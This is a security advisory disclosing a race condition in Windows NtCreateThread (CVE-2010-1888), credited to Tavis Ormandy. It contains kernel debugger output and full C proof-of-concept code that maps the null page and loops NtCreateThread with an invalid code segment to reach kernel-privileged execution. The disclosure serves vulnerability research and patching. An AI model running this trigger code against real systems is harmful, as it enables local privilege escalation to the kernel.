Microsoft Windows - nt!NtCreateThread Race Condition with Invalid Code Segment (MS10-047)

Microsoft Windows nt!NtCreateThread race condition with invalid code segment

----------------------------------------------------------------------------



CVE-2010-1888



Creating a new thread on windows involves passing several structures to

NtCreateThread(). These structures describe the execution state of the new

thread, and are setup transparently by the system libraries when using the

CreateThread() API. One of these structures is called CONTEXT, which contains

the register values of the new thread.



kd> dt nt!_CONTEXT

   +0x000 ContextFlags     : Uint4B

   +0x004 Dr0              : Uint4B

   +0x008 Dr1              : Uint4B

   +0x00c Dr2              : Uint4B

   +0x010 Dr3              : Uint4B

   +0x014 Dr6              : Uint4B

   +0x018 Dr7              : Uint4B

   +0x01c FloatSave        : _FLOATING_SAVE_AREA

   +0x08c SegGs            : Uint4B

   +0x090 SegFs            : Uint4B

   +0x094 SegEs            : Uint4B

   +0x098 SegDs            : Uint4B

   +0x09c Edi              : Uint4B

   +0x0a0 Esi              : Uint4B

   +0x0a4 Ebx              : Uint4B

   +0x0a8 Edx              : Uint4B

   +0x0ac Ecx              : Uint4B

   +0x0b0 Eax              : Uint4B

   +0x0b4 Ebp              : Uint4B

   +0x0b8 Eip              : Uint4B

   +0x0bc SegCs            : Uint4B

   +0x0c0 EFlags           : Uint4B

   +0x0c4 Esp              : Uint4B

   +0x0c8 SegSs            : Uint4B

   +0x0cc ExtendedRegisters : [512] UChar



Obviously the state must be validated, otherwise you could simply set SegCs to

to rpl0, and execute code with kernel privileges.



I discovered a race condition during this validation stage by accident when

checking the validation looked sane, and was able to restore an illegal

execution state. I havn't investigated the root cause, but it's self evident

this is going to be exploitable.



kd> vertarget

Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86 compatible

Product: WinNt, suite: TerminalServer SingleUserTS

Built by: 2600.xpsp_sp3_gdr.100216-1514

Machine Name:

Kernel base = 0x804d7000 PsLoadedModuleList = 0x8055b1c0

Debug session time: Sat Aug  7 23:25:27.564 2010 (GMT+2)

System Uptime: 0 days 0:04:15.492

kd> .lastevent

Last event: Access violation - code c0000005 (!!! second chance !!!)

  debugger time: Sat Aug  7 23:27:22.595 2010 (GMT+2)

kd> r

eax=00000000 ebx=5f5b1044 ecx=0000003d edx=83f88bff esi=0008c21c edi=98490393

eip=804df15f esp=b1178800 ebp=b1178800 iopl=0         nv up di pl nz ac pe nc

cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010016

nt!Kei386EoiHelper+0x103:

804df15f 897308          mov     dword ptr [ebx+8],esi ds:0023:5f5b104c=????????

kd> kv

ChildEBP RetAddr  Args to Child              

b1178800 00000d89 badb0d00 b1178800 ff57018b nt!Kei386EoiHelper+0x103 (FPO: [0,0] TrapFrame @ b1178800)

WARNING: Frame IP not in any known module. Following frames may be wrong.

8b5d5e5f 00000000 00000000 00000000 00000000 0xd89

kd> .trap b1178800

ErrCode = 5f5b1044

eax=28247c89 ebx=c78b5b10 ecx=24245c89 edx=3c246c89 esi=52ff5511 edi=8b084e8b

eip=00000d89 esp=8308768b ebp=8b5d5e5f iopl=0     vif nv up ei pl nz ac pe nc

cs=018b  ss=ffcb  ds=2444  es=1c24  fs=01ff  gs=0c4e             efl=0008c21c

018b:0d89 41              inc     cx

kd> dg @cs

                                  P Si Gr Pr Lo

Sel    Base     Limit     Type    l ze an es ng Flags

---- -------- -------- ---------- - -- -- -- -- --------

018B 00008003 0000f190 <Reserved> 0 Nb By Np Nl 00000000

kd> wut

    ^ Syntax error in 'wut'

kd> dd 8:@eip L8

0008:8d8c  41414141 41414141 41414141 41414141

0008:8d9c  41414141 41414141 41414141 41414141



--------------------

Affected Software

------------------------

At least Microsoft Windows XP is affected.



--------------------

Consequences

-----------------------



An unprivileged user may be able to execute arbitrary code with the privileges

of the kernel.



Example code to trigger this vulnerability is available below.



#include <windows.h>

#include <stdio.h>



typedef struct {

    HANDLE UniqueProcess;

    HANDLE UniqueThread;

} CLIENTID;



typedef struct {

    struct {

        PVOID OldStackBase;

        PVOID OldStackLimit;

    } OldInitialTeb;

    PVOID StackBase;

    PVOID StackLimit;

    PVOID StackAllocationBase;

} INITIAL_TEB;



static VOID InitFirstPage();



int main(int argc, char **argv)

{

    HANDLE ThreadHandle;

    CONTEXT ThreadContext;

    FARPROC NtCreateThread;

    CLIENTID ClientId;

    INITIAL_TEB InitialTeb;

    ULONG i;



    NtCreateThread = GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtCreateThread");



    fprintf(stderr, "NtCreateThread@%p\n", NtCreateThread);



    FillMemory(&InitialTeb, sizeof(InitialTeb), 0x41);

    FillMemory(&ThreadContext, sizeof(ThreadContext), 0x41);



    ThreadContext.SegCs = 0xDEADBEEF;



    InitFirstPage();



    for (;;) {

        NtCreateThread(&ThreadHandle,

                       0,

                       NULL,

                       GetCurrentProcess(),

                       &ClientId,

                       &ThreadContext,

                       &InitialTeb,

                       FALSE);

    }



    return 0;

}



static VOID InitFirstPage()

{

    PVOID BaseAddress;

    ULONG RegionSize;

    NTSTATUS ReturnCode;

    FARPROC NtAllocateVirtualMemory;



    NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtAllocateVirtualMemory");



    fprintf(stderr, "NtAllocateVirtualMemory@%p\n", NtAllocateVirtualMemory);



    RegionSize = 0xf000;

    BaseAddress = (PVOID) 0x00000001;



    ReturnCode = NtAllocateVirtualMemory(GetCurrentProcess(),

                                         &BaseAddress,

	                                     0,

                                         &RegionSize,

                                         MEM_COMMIT | MEM_RESERVE,

                                         PAGE_EXECUTE_READWRITE);



     if (ReturnCode != 0) {

         fprintf(stderr, "NtAllocateVirtualMemory() failed to map first page, %#X\n",

                         ReturnCode);

         fflush(stderr);

         ExitProcess(1);

    }



    fprintf(stderr, "BaseAddress: %p, RegionSize: %#x\n", BaseAddress, RegionSize), fflush(stderr);



    FillMemory(BaseAddress, RegionSize, 0x41);



    return;

}



-------------------

Credit

-----------------------



This bug was discovered by Tavis Ormandy.



-------------------

Greetz

-----------------------



$1$90AiGoxp$wyzZGQ6owkRG6OxPErj6M/

$1$7.qXQkxE$5Zc1zQndJpGdoe1RF4Br1.

$1$IPYBMipO$/HhHCPgulV/E0pgSvU1710

$1$ULymMO9x$NVMLjZe8i25ajEfnsRowA.

$1$8a/c6DLm$JDAFGdhEzIj2DR7RYC2gi.



And all the other elite people I've worked with (sorry, too many to generate!).



-------------------

Notes

-----------------------



Approximate time to fix was 270 days. Srsly. 



-------------------

References

-----------------------



None.